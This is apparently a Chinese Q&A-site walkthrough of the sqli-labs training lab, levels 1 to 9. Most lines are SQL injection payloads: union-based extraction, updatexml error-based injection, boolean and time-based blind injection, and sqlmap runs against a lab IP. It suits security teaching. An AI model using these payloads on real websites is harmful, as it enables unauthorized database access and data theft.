1. sqli-labs 通关攻略
发布网友
发布时间:2024-10-16 22:57
我来回答
共1个回答
热心网友
时间:2024-11-21 04:46
less-1 判断是否存在sql注入,提示输入数字值的ID作为参数,输入?id=1
输入的id不同,返回的内容也不同,说明输入的内容被带入数据库查询
判断sql语句是否是拼接,且是字符型还是数字型
可以根据结果确定是字符型且存在sql注入漏洞,因为页面存在回显,所以可以使用联合查询
首先判断列数,如果报错就是超出列数 ?id=1'order by 3 --+
只有三列
然后判断显示位,是2和3 ?id=1' and 1=2 union select 1,2,3 --+
查出数据库名和版本号 ?id=1' and 1=2 union select 1,database(),version() --+
Less-2 第二关与第一关步骤相似,先进行判断,输入单引号或双引号可见报错,且报错信息看不到数字,可猜测sql语句为数字型注入
?id=-1 order by 4,将id调整为-1,报错更改,说明只有3列
显示位置为2,3
找到库名和版本号
Less-3 在id后面加一个单引号,引发报错,推断此处sql注入为字符型,且为括号闭合
验证成功 ?id=1')--+
判断列数,仍为3列 ?id=1') order by 4--+
判断显示位置 ?id=1') and 1=2 union select 1,2,3--+
查出库名与版本号 ?id=1') and 1=2 union select 1,database(),version()--+
Less-4 页面报错信息显示sql语句是双引号字符型且有括号
验证成功 ?id=2") --+
判断列数,仍为3列 ?id=2") order by 4--+
判断输出位置为2,3 ?id=2") and 1=2 union select 1,2,3--+
查出库名与版本号 ?id=2") and 1=2 union select 1,database(),version()--+
Less-5 第五关根据页面结果得知是字符型,闭合符号是单引号,但不会回显结果
使用updatexml报错注入 ?id=3' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
Less-6 首先判断注入类型,闭合符号是双引号,类型是字符型
没有回显,不能使用联合注入
使用报错注入 ?id=3" and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
Less-8 这一关什么都看不到,只能通过返回语句判断页面正常与否
使用布尔盲注,盲注花费时间较多,直接使用sqlmap去跑他 sqlmap -u " 192.168.116.131/sqli-la..." --dbs,可以看到,直接给我整个数据库跑出来了
Less-9 第九关发现不管输入什么,页面显示的东西都一样,布尔盲注不适合使用,布尔盲注适合页面对于错误和正确结果有不同反应
如果页面一直不变,这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别,只不过时间盲注多了if函数和sleep()函数
if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟
通过页面时间来判断出id参数是单引号字符串
?id=1' and if(1=1,sleep(5),1)--+ 判断参数构造
?id=1'and if(length((select database()))>9,sleep(5),1)--+ 判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 逐一判断数据库字符
数据库名长度大于7的时候沉睡了5秒,说明它的长度是8,这种方法耗时太长,我们还是使用sqlmap吧
sqlmap -u " 192.168.116.131/sqli-la..." --dbs